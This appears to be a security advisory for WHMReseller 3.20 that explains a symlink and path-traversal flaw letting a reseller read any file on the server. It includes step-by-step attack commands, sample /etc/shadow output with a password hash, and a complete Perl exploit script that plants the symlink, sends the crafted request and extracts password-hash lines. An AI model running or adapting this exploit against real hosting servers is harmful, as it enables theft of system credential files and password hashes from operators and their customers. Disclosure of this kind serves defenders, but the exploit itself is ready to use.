WHMReseller 3.20 - resellers could view any file on the box



DESCRIPTION


A symlink attack in WHMReseller allowed any reseller to view any file on the box.



IMPACT


Resellers could view the contents of /root/.accesshash, /etc/shadow, or any other file of their choice.


1. Create the following symlink:

[user@host ~]$ ln -s /etc/shadow /home/alice/style.css


2. While logged into your reseller account, access the following URL:

https://example.com:2087/cgi/whmreseller/subreseller.cgi?action=changemrskin&mrskin=../../../../../../../../../home/alice


What's happened here is that you've changed your master reseller skin to /home/alice:

[root@host /usr/local/cpanel/whostmgr/docroot/cgi/whmreseller/mr]# grep -n ../../ alice
21:mrskin=../../../../../../../../../home/alice


Then once you log into WHMReseller, it looks for $mrskin/style.css, which is now /etc/shadow. As a result, the full contents of /etc/shadow are displayed to you in your browser.


For sake of completeness, the default skins can be found here:

/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller/mrskin/beige/style.css
/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller/mrskin/orange/style.css
/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller/rootskin/beige/style.css
/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller/rootskin/orange/style.css


[user@host ~]$ ./whmreseller_viewany.pl
root:$1$BxAWmn63$J4Iyx.3Ki6wtUo1NS7A2e/:14457:0:99999:7:::
bin:*:14322:0:99999:7:::
daemon:*:14322:0:99999:7:::
adm:*:14322:0:99999:7:::
lp:*:14322:0:99999:7:::
sync:*:14322:0:99999:7:::
shutdown:*:14322:0:99999:7:::
halt:*:14322:0:99999:7:::
mail:*:14322:0:99999:7:::
news:*:14322:0:99999:7:::
etc


#!/usr/bin/perl

###########################
#
# WHMreseller 3.20
# View any file on the box
#
###########################

use strict;
use warnings;
use IO::Socket::INET;
use MIME::Base64;

my $buffer;
my @buffer;

my $symlink  = shift || '/etc/shadow';

# Valid reseller creds go here
my $username = '';
my $password = '';

chomp ( my $creds = encode_base64("$username:$password") );

my $request = 'GET /cgi/whmreseller/subreseller.cgi';
$request   .= "?action=changemrskin&mrskin=../../../../../../../../../home/$username HTTP/1.1\r\n";
$request   .= "Host: localhost:2086\r\n";
$request   .= "Authorization: Basic $creds\r\n\r\n";

chdir "/home/$username" or die $!;

! -e 'style.css' or die "style.css exists, exiting\n";

symlink $symlink, 'style.css' or die "symlink failed, exiting\n";

my $sock = IO::Socket::INET->new(
    PeerHost => 'localhost',
    PeerPort => '2086',
    Proto    => 'tcp',
    Timeout  => '3',
);

if ( ! $sock ) {
    die "Could not connect, exiting\n";
}
else {
    print $sock $request;
    sleep 3;
    read $sock, $buffer, 1_000_000;
    close $sock;
}

unlink 'style.css' or warn "could not remove symlink!\n";

if ( $buffer )
{
    @buffer = split ( /\n/, $buffer );
    for my $line ( @buffer )
    {
        if ( $line =~ /\$1\$/ ) {
            print "$line\n";
        }
    }
}